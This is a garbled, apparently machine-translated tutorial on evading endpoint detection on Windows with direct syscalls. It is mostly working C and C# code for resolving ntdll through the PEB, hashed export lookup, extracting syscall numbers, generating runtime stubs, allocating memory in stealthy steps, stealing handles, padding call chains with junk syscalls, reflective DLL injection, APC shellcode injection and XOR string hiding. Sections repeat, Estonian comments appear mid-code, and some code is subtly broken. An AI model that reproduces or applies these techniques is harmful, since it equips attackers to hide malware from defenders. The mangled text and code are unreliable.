4. The executioner's toolkit (practical section). Continuation.
4.4. SysWhispers3: Behind the Scenes of Automation
Let’s understandwhat SysWhispers3 actually generates in order not to be just a user’scode.
After launching the script with the parameter--preset common, we get two key files: syscalalls.h and syscalls.c.Take a look at syscals.c:
Critical comments onthe code:
Conclusion:SysWhispers3 is a great start, but it needs to be finalized forproduction. Especially in terms of obfuscation and SSN search.
4.5. DInvoke: Power and flexibility C#
DInvoke is not justa library for syscal, it is a whole arsenal for memory operations.Let’s look at the key points.
Dynamic call throughdelegates (without P/Invoke):
Strengths ofDInvoke:
Example of ManualMapwith Dinvoke:
Important: ManualMapleaves characteristic traces in memory (for example, unaligned memoryregions with PAGE_EXECUTE_READWRITE rights). Advanced EDR (forexample, Elastic Endpoint) detect it through memory daps.
4.6. Own solutions: why and how
When you write yourtool from scratch, you control every byte. Let’s look at the keycomponents.
A. Search for the basic address of ntdll.dllvia PEB (without WinAPI):
B. Parsing PE andsearching for hash exports (not to shine lines):
V. Extracting SSNthrough Halo's Gate (UPD):
Mr. Shellcodegeneration with syscall straight on the fly:
Sometimes itis necessary to have shellcode itself using direct syscal. For this,you can generate code into memory.
Important: This codeis easily detected by signatures (e.g. B8 ???? ??? ?????? 0F 05 C3).You need to obfuscate: add NOPs, change the order of instructions,use equivalent instructions.
5. We prepare the soil: how to make it work in real life.Continuation.
5.5. The Problem of Arguments: Encryption and Disguise
When you callNtAlloccateVirtualMemory with PAGE_EXECUTE_READWRITE and MEM_COMMIT |MEM_RESERVE, it is a red flag. The solution is to divide theoperation and use less suspicious flags at every stage.
Exampleof a divided memory allocation:
This creates threesyscalle instead of one, but each of them looks less suspicious.
5.6. Working with Handle: Theft and Duplication
Direct syscall oftenrequire the transmission of the process or flow. UsingGetCurrentProcess() or OpenProcess with PROCESS_ALL_ACCESS issuspicious.
A. Theft of the Legitimate Process:
Manyprocesses have open management to other processes (for example,svchost.exe often has a duty to lsass.exe with limited rights). Youcan find and copy such a team.
B. Creation of theminimum necessary rights:
Instead of PROCESS_ALL_ACCESS, usespecific rights:
5.7. Departure fromthe detect on the chain of calls
EDR analyze syscallesequences. For example, the NtAllocateVirtalatureMemory ->NtWritVirtualMemory -> NtCreateThreadEx chain is classic for theinjector.
Oceanic chain:
Modification oforder: For example, first create the flow in a suspended state, thenwrite in memory, then resume.
6. Assembly of Frankenstein: from the sisocle to Shellcode.Deepening.
6.1. Reflexive DLL loading via direct syscal
Reflexive loading iswhen DLL loads itself without the help of LoadLibary. It’s moredifficult, but completely hidden from EDR.
Step-by-stepalgorithm:
Problems:
6.2. APC injection via NtQueueApThread
The alternative tothe flow is the use of APC (APC (APC). It could be less noticeable.
Features:
I want to add aboutSignatures in Memory. Modern EDRs not only look for sequences ofinstructions, but also analyze memory metadata. For example, if yourlynch code is right in the code of the line of the "kernel32.dl"or "CreateThread" strings, they will be found even if youdo not use WinAPI.
Decision: Equip all strings simple XORat the compilation stage, and in the tentime to decipher in thestack:
C:
Now that we have aworking toolkit, let’s talk about how EDR learns to detect directsyscal, and how to stay one step ahead. It’s a cat-and-mouse game,and we’re the mice with PhDs in x64 architecture.
4.4. SysWhispers3: Behind the Scenes of Automation
Let’s understandwhat SysWhispers3 actually generates in order not to be just a user’scode.
After launching the script with the parameter--preset common, we get two key files: syscalalls.h and syscalls.c.Take a look at syscals.c:
C:
// ... Generatingthe SSN using GetSyscallNumber
DWORDGetSyscallNumber(PCSTR FunctionName) {
// 1. Retrieve thebase address of ntdll.dll from the PEB (without callingGetModuleHandle)
PPEB Peb =(PPEB)__readgsqword (0x60);
PPEB_LDR_DATA Ldr =Peb->Ldr;
PLIST_ENTRYModuleList = &Ldr->InMemoryOrderModuleList;
PLIST_ENTRYListEntry = ModuleList->Flink;
PWSTR moduleName =NULL;
while (ListEntry !=ModuleList) {
PLDR_DATA_TABLE_ENTRYEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
if(Entry->BaseDllName.Buffer) {
// Compare themodule name with “ntdll.dll”
// ... (omitted forbrevity)
}
ListEntry =ListEntry->Flink;
}
// 2. Parse the EAT(Export Address Table) of the found module to obtain the functionaddress
PIMAGE_DOS_HEADERdosHeader = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERSntHeaders = (PIMAGE_NT_HEADERS) ((LPBYTE)moduleBase +dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORYexportDir = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)moduleBase +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD functions =(PDWORD)((LPBYTE)moduleBase + exportDir->AddressOfFunctions);
PDWORD names =(PDWORD)((LPBYTE)moduleBase + exportDir->AddressOfNames);
PWORD ordinals =(PWORD)((LPBYTE)moduleBase + exportDir->AddressOfNameOrdinals);
// 3. Search for thedesired function name
for (DWORD i = 0; i< exportDir->NumberOfNames; i++) {
PCHAR functionName =(PCHAR)moduleBase + names;
if(_stricmp(functionName, FunctionName) == 0) {
PBYTEfunctionAddress = (PBYTE)moduleBase + functions[ordinals];
// 4. Disassemblethe beginning of the function to extract the SSN
returnExtractSSNFromFunction(functionAddress);
}
}
return 0;
}
// The wrapperfunction for NtAllocateVirtualMemory
EXTERN_C NTSTATUSNtAllocateVirtualMemory(
_In_ HANDLEProcessHandle,
_Inout__At_(*BaseAddress, _Readable_bytes_(*RegionSize)_Writable_bytes_(*RegionSize) _Post_readable_byte_(*RegionSize))PVOID *BaseAddress,
_In_ ULONG_PTRZeroBits,
_Inout_ PSIZE_TRegionSize,
_In_ ULONGAllocationType,
_In_ ULONG Protect){
// Get the SSN forthe current function (cached)
static DWORDcachedSSN = 0;
if (cachedSSN == 0){
cachedSSN =GetSyscallNumber(“NtAllocateVirtualMemory”);
}
// Assembly codewith correct argument layout
__asm {
; Load argumentsinto registers (x64 fastcall)
mov r10, rcx ; Firstargument (ProcessHandle) -> r10
mov rcx,ProcessHandle
mov rdx, BaseAddress
mov r8, ZeroBits
mov r9, RegionSize
; Arguments afterthe fourth go on the stack
; AllocationType(5th)
mov rax,AllocationType
mov [rsp+32], rax
; Protect (6th)
mov rax, Protect
mov [rsp+40], rax
; Call
mov eax, cachedSSN
syscall
ret
}
Critical comments onthe code:
- GetSyscalNumber uses PEB to search for threadll.dll. It’s better than GetModulehandle, but still leaves marks in memory (search by name of the module). More optimal is to hardcode the basic address of nddll (it is often permanent for one version of the OS) or to receive it through NtQueryInformation Project with the ProcessModuleInformation class.
- ExtractSNFromFunction is a simplified Hell's Gate. In reality, SysWhispers3 uses a more complex logic similar to Halo’s Gate, looking for syscall and moving up the code.
- Caching SSN is good, but a static variable in a function can be a problem for multithreading. It is better to put the cache into the global structure with synchronization.
Conclusion:SysWhispers3 is a great start, but it needs to be finalized forproduction. Especially in terms of obfuscation and SSN search.
4.5. DInvoke: Power and flexibility C#
DInvoke is not justa library for syscal, it is a whole arsenal for memory operations.Let’s look at the key points.
Dynamic call throughdelegates (without P/Invoke):
C#:
using System;
usingSystem.Runtime.InteropServices;
usingDInvoke.DynamicInvoke;
public classSyscallsExample {
// Delegate forNtAllocateVirtualMemory
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate NTSTATUSNtAllocateVirtualMemoryDelegate(
IntPtrProcessHandle,
ref IntPtrBaseAddress,
IntPtr ZeroBits,
ref IntPtrRegionSize,
uint AllocationType,
uint Protect);
public static voidExecute() {
// 1. Get theaddress of NtAllocateVirtualMemory from ntdll.dll in memory
IntPtr ntdll =Generic.GetLoadedModuleAddress(“ntdll.dll”);
IntPtr funcAddr =Generic.GetExportAddress(ntdll, “NtAllocateVirtualMemory”);
// 2. Create adelegate for the call
NtAllocateVirtualMemoryDelegatentAllocateVirtualMemory =
(NtAllocateVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(funcAddr,typeof(NtAllocateVirtualMemoryDelegate));
// 3. Call thefunction via the delegate (this is a call through ntdll, but withoutstatic P/Invoke)
IntPtr baseAddress =IntPtr.Zero;
IntPtr regionSize =(IntPtr)0x1000;
NTSTATUS status =ntAllocateVirtualMemory(
Process.GetCurrentProcess().Handle,
ref baseAddress,
IntPtr.Zero,
ref regionSize,
0x3000, //MEM_COMMIT | MEM_RESERVE
0x40); //PAGE_EXECUTE_READWRITE
if (status ==NTSTATUS.Success) {
Console.WriteLine($“[+]Memory allocated at 0x{baseAddress.ToInt64():X}”);
}
}
}
Strengths ofDInvoke:
- ManualMap : Download DLL directly from memory (a technique known as reflect DLL injection) without using LoadLiberry.
- OverloadOverload: Fake hucks to bypass calls (e.g., challenge NtWriteVirtualMemory via ZwWriteVirtualMemory with other parameters).
- Parsing PE files: Utilities to work with PE headlines, which is useful for manual mapping.
Example of ManualMapwith Dinvoke:
C#:
usingDInvoke.ManualMap;
public classManualMapExample {
public static voidExecute() {
// 1. Read the DLLfrom disk into a byte array
byte[] dllBytes =File.ReadAllBytes(“mylib.dll”);
// 2. Map the DLL tothe current process's memory
var mappedModule =Map.MapModuleToMemory(dllBytes);
// 3. Get theaddress of the exported function
IntPtrfunctionAddress = Generic.GetExportAddress(mappedModule.ModuleBase,“MyExport”);
// 4. Create adelegate and call it
// ...
}
}
Important: ManualMapleaves characteristic traces in memory (for example, unaligned memoryregions with PAGE_EXECUTE_READWRITE rights). Advanced EDR (forexample, Elastic Endpoint) detect it through memory daps.
4.6. Own solutions: why and how
When you write yourtool from scratch, you control every byte. Let’s look at the keycomponents.
A. Search for the basic address of ntdll.dllvia PEB (without WinAPI):
C:
#include <windows.h>
#include<winternl.h>
PVOID GetNtdllBase(){
PPEB peb =(PPEB)__readgsqword(0x60); // PEB for x64
PPEB_LDR_DATA ldr =peb->Ldr;
PLIST_ENTRYmoduleList = &ldr->InMemoryOrderModuleList;
PLIST_ENTRYlistEntry = moduleList->Flink;
while (listEntry !=moduleList) {
PLDR_DATA_TABLE_ENTRYentry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
// Check the modulename
UNICODE_STRINGntdllName;
RtlInitUnicodeString(&ntdllName,L“ntdll.dll”);
if(RtlCompareUnicodeString(&entry->BaseDllName, &ntdllName,TRUE) == 0) {
returnentry->DllBase;
}
listEntry =listEntry->Flink;
}
return NULL;
}
B. Parsing PE andsearching for hash exports (not to shine lines):
C:
DWORDHashStringDjb2A(const char* str) {
DWORD hash = 5381;
int c;
while ((c = *str++)){
hash = ((hash <<5) + hash) + c; // hash * 33 + c
}
return hash;
}
PVOIDGetFunctionAddressByHash(PVOID moduleBase, DWORD targetHash) {
PIMAGE_DOS_HEADERdosHeader = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERSntHeaders = (PIMAGE_NT_HEADERS) ((PBYTE)moduleBase +dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORYexportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)moduleBase +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD functions =(PDWORD)((PBYTE)moduleBase + exportDir->AddressOfFunctions);
PDWORD names =(PDWORD)((PBYTE)moduleBase + exportDir->AddressOfNames);
PWORD ordinals =(PWORD)((PBYTE)moduleBase + exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i< exportDir->NumberOfNames; i++) {
PCHAR functionName =(PCHAR)moduleBase + names;
DWORD functionHash =HashStringDjb2A(functionName);
if (functionHash ==targetHash) {
return(PBYTE)moduleBase + functions[ordinals];
}
}
return NULL;
}
// Usage:
#defineHASH_NTALLOCATEVIRTUALMEMORY 0x9122A2B3 // Pre-calculated hash
PVOID funcAddr =GetFunctionAddressByHash(ntdllBase, HASH_NTALLOCATEVIRTUALMEMORY);
V. Extracting SSNthrough Halo's Gate (UPD):
C:
DWORDExtractSSN(PVOID functionAddress) {
PBYTE p =(PBYTE)functionAddress;
// Search forsyscall (0F 05) or sysret (0F 07)
for (int i = 0; i <256; i++) { // Limit the search
if (p == 0x0F &&(p[i+1] == 0x05 || p[i+1] == 0x07)) {
// Foundsyscall/sysret, now search for mov eax, SSN before it
for (int j = i; j >i - 32; j--) { // Search within 32 bytes back
if (p[j] == 0xB8) {// mov eax, imm32
return *((PDWORD)(p+ j + 1));
}
}
}
}
// If not found, thefunction may be hooked (jmp to detector)
// Search for jmp(E9) or jmp [mem] (FF 25)
if (p[0] == 0xE9 ||(p[0] == 0xFF && p[1] == 0x25)) {
// Calculate thejump address
PVOID jumpTarget =// ... (jmp disassembly)
// Recursivelysearch for SSN at the new address
returnExtractSSN(jumpTarget);
}
return 0;
}
Mr. Shellcodegeneration with syscall straight on the fly:
Sometimes itis necessary to have shellcode itself using direct syscal. For this,you can generate code into memory.
C:
voidGenerateSyscallStub(DWORD ssn, PVOID stubBuffer) {
// Code for x64: movr10, rcx; mov eax, SSN; syscall; ret
BYTE code[] = {
0x49, 0x8B, 0xD1, //mov r10, rcx (alternative: 0x4C, 0x8B, 0xD1)
0xB8, 0x00, 0x00,0x00, 0x00, // mov eax, SSN
0x0F, 0x05, //syscall
0xC3 // ret
};
// Insert SSN
*((PDWORD)(code +4)) = ssn;
// Copy to buffer(which must be executable)
memcpy(stubBuffer,code, sizeof(code));
}
// Usage:
DWORD ssn =ExtractSSN(GetFunctionAddressByHash(ntdllBase,HASH_NTCREATETHREADEX));
PVOID stub =VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
GenerateSyscallStub(ssn,stub);
// Now the stub canbe called as a function
typedef NTSTATUS(*NtCreateThreadExStub)(...);
NtCreateThreadExStubmySyscall = (NtCreateThreadExStub)stub;
mySyscall(...);
Important: This codeis easily detected by signatures (e.g. B8 ???? ??? ?????? 0F 05 C3).You need to obfuscate: add NOPs, change the order of instructions,use equivalent instructions.
5. We prepare the soil: how to make it work in real life.Continuation.
5.5. The Problem of Arguments: Encryption and Disguise
When you callNtAlloccateVirtualMemory with PAGE_EXECUTE_READWRITE and MEM_COMMIT |MEM_RESERVE, it is a red flag. The solution is to divide theoperation and use less suspicious flags at every stage.
Exampleof a divided memory allocation:
C:
// 1. Allocatememory with PAGE_READWRITE permissions (less suspicious)
status =NtAllocateVirtualMemory(
hProcess,
&baseAddr,
0,
&size,
MEM_RESERVE, // Justreserve, do not commit
PAGE_READWRITE);
// 2. Commit theregion with the same permissions
SIZE_T commitSize =0x1000;
status =NtAllocateVirtualMemory(
hProcess,
&baseAddr,
0,
&commitSize,
MEM_COMMIT, // Nowcommit
PAGE_READWRITE);
// 3. Change theprotection to PAGE_EXECUTE_READ (or PAGE_EXECUTE_READWRITE, ifwriting is required)
DWORD oldProtect;
status =NtProtectVirtualMemory(
hProcess,
&baseAddr,
&commitSize,
PAGE_EXECUTE_READ,
&oldProtect);
This creates threesyscalle instead of one, but each of them looks less suspicious.
5.6. Working with Handle: Theft and Duplication
Direct syscall oftenrequire the transmission of the process or flow. UsingGetCurrentProcess() or OpenProcess with PROCESS_ALL_ACCESS issuspicious.
A. Theft of the Legitimate Process:
Manyprocesses have open management to other processes (for example,svchost.exe often has a duty to lsass.exe with limited rights). Youcan find and copy such a team.
C:
NTSTATUSStealHandle(DWORD targetPid, PHANDLE stolenHandle) {
// 1. Retrieve alist of all handles in the system using NtQuerySystemInformation
// 2. Search for aProcess handle with the target PID
// 3. Duplicate thehandle using NtDuplicateObject
// 4. Return theduplicate
}
B. Creation of theminimum necessary rights:
Instead of PROCESS_ALL_ACCESS, usespecific rights:
- PROCESS_VM_OPERATION for Memory Release
- PROCESS_VM_WRITE for memory recording
- PROCESS_VM_READ memory reading
- PROCESS_CREATE_THREAD to create flow
C:
HANDLEOpenProcessWithMinimalRights(DWORD pid) {
OBJECT_ATTRIBUTES oa = { sizeof(oa)};
CLIENT_ID cid = { (HANDLE)pid, NULL};
HANDLE hProcess = NULL;
NTSTATUS status = NtOpenProcess(
&hProcess,
PROCESS_VM_OPERATION |PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
&oa,
&cid);
return (NT_SUCCESS(status)) ?hProcess : NULL;
5.7. Departure fromthe detect on the chain of calls
EDR analyze syscallesequences. For example, the NtAllocateVirtalatureMemory ->NtWritVirtualMemory -> NtCreateThreadEx chain is classic for theinjector.
Oceanic chain:
- Adding garbage challenges: Call legitimate syscal between critical operations.
C:
// Unnecessary call
SYSTEM_TIMEOFDAY_INFORMATIONtimeInfo;
NtQuerySystemInformation(SystemTimeOfDayInformation,&timeInfo, sizeof(timeInfo), NULL);
// Critical call
NtAllocateVirtualMemory(...);
// More junk
ULONG debugFlag = 0;
NtQueryInformationProcess(GetCurrentProcess(),ProcessDebugFlags, &debugFlag, sizeof(debugFlag), NULL);
Modification oforder: For example, first create the flow in a suspended state, thenwrite in memory, then resume.
- Use alternative methods: Instead of NtCreateThreadEx use NtQueueApThread or RtlCreateUserThread.
6. Assembly of Frankenstein: from the sisocle to Shellcode.Deepening.
6.1. Reflexive DLL loading via direct syscal
Reflexive loading iswhen DLL loads itself without the help of LoadLibary. It’s moredifficult, but completely hidden from EDR.
Step-by-stepalgorithm:
C:
NTSTATUSReflectiveDLLInject(HANDLE hProcess, PBYTE dllBuffer, SIZE_T dllSize){
NTSTATUS status =STATUS_SUCCESS;
PVOID remoteBase =NULL;
SIZE_T regionSize =dllSize;
HANDLE hThread =NULL;
// 1. Eraldame mälusihtprotsessis
status =NtAllocateVirtualMemory(
hProcess,
&remoteBase,
0,
®ionSize,
MEM_COMMIT |MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(!NT_SUCCESS(status)) return status;
// 2. KopeerimeDLL-i sihtprotsessi
SIZE_T bytesWritten= 0;
status =NtWriteVirtualMemory(
hProcess,
remoteBase,
dllBuffer,
dllSize,
&bytesWritten);
if(!NT_SUCCESS(status)) {
NtFreeVirtualMemory(hProcess,&remoteBase, ®ionSize, MEM_RELEASE);
return status;
}
// 3. Arvutamereflektiivse laadija sisenemispunkti
// Oletame, etDLL-il on eksport „ReflectiveLoader“
PIMAGE_DOS_HEADERdosHeader = (PIMAGE_DOS_HEADER)remoteBase;
PIMAGE_NT_HEADERSntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)remoteBase +dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORYexportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)remoteBase +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD functions =(PDWORD)((PBYTE)remoteBase + exportDir->AddressOfFunctions);
PDWORD names =(PDWORD)((PBYTE)remoteBase + exportDir->AddressOfNames);
PWORD ordinals =(PWORD)((PBYTE)remoteBase + exportDir->AddressOfNameOrdinals);
PVOIDreflectiveLoader = NULL;
for (DWORD i = 0; i< exportDir->NumberOfNames; i++) {
PCHAR functionName =(PCHAR)remoteBase + names;
if(strcmp(functionName, „ReflectiveLoader“) == 0) {
reflectiveLoader =(PBYTE)remoteBase + functions[ordinals];
break;
}
}
if(!reflectiveLoader) {
NtFreeVirtualMemory(hProcess,&remoteBase, ®ionSize, MEM_RELEASE);
returnSTATUS_ENTRYPOINT_NOT_FOUND;
}
// 4. Loomekaugprotsessi, mis käivitab ReflectiveLoader'i
status =NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
reflectiveLoader,
remoteBase, //ReflectiveLoader'i parameeter (DLL-i baasaadress)
0, //CREATE_SUSPENDED? 0 tähendab kohe käivitada
0,
0,
0,
NULL);
// 5. Ootamelaadimise lõppu (valikuline)
if(NT_SUCCESS(status)) {
NtWaitForSingleObject(hThread,FALSE, NULL);
NtClose(hThread);
}
return status;
}
Problems:
- ReflectiveLoader should be self-sufficient: not to use imports, work only through direct syscal.
- It is necessary to process relocations, imports, TLS-gallbacks.
- Modern EDR detect reflexion on anomalies in memory (unrotated regions, mixed rights).
6.2. APC injection via NtQueueApThread
The alternative tothe flow is the use of APC (APC (APC). It could be less noticeable.
C:
NTSTATUSAPCInject(HANDLE hProcess, HANDLE hThread, PVOID shellcode, SIZE_TshellcodeSize) {
// 1. Allocatememory in the target process
PVOID remoteAddr =NULL;
SIZE_T regionSize =shellcodeSize;
NTSTATUS status =NtAllocateVirtualMemory(
hProcess,
&remoteAddr,
0,
®ionSize,
MEM_COMMIT |MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 2. Write theshellcode
status =NtWriteVirtualMemory(hProcess, remoteAddr, shellcode, shellcodeSize,NULL);
// 3. Queue the APCfor the thread
status =NtQueueApcThread(
hThread,
(PKNORMAL_ROUTINE)remoteAddr,// APC routine
NULL, // Context
NULL, // Argument1
NULL); // Argument2
// 4. The threadwill execute the APC on the next transition to the alertable state
return status;
}
Features:
- The flow should be in the alertable state (for example, calling SleepEx, WaitForSingleObjectEx, etc.).
- If the flow is busy, the APC may not be performed for a long time.
- You can use NtTestAlert to enforce APC.
I want to add aboutSignatures in Memory. Modern EDRs not only look for sequences ofinstructions, but also analyze memory metadata. For example, if yourlynch code is right in the code of the line of the "kernel32.dl"or "CreateThread" strings, they will be found even if youdo not use WinAPI.
Decision: Equip all strings simple XORat the compilation stage, and in the tentime to decipher in thestack:
C:
// At compile time
#define ENC_STR(str)XORString(str, 0x55)
// In the code
char encKernel[] ={0x3e, 0x3c, 0x33, 0x33, 0x30, 0x27, 0x7e, 0x72, 0x72, 0x7b}; //“kernel32.dll” XOR 0x55
char kernel[20];
XORDecrypt(encKernel,kernel, sizeof(encKernel), 0x55);
// Now kernelcontains “kernel32.dll”
It is also importantto clear the array after use: memset(kernel, 0, sizeof(kernel));
Now that we have aworking toolkit, let’s talk about how EDR learns to detect directsyscal, and how to stay one step ahead. It’s a cat-and-mouse game,and we’re the mice with PhDs in x64 architecture.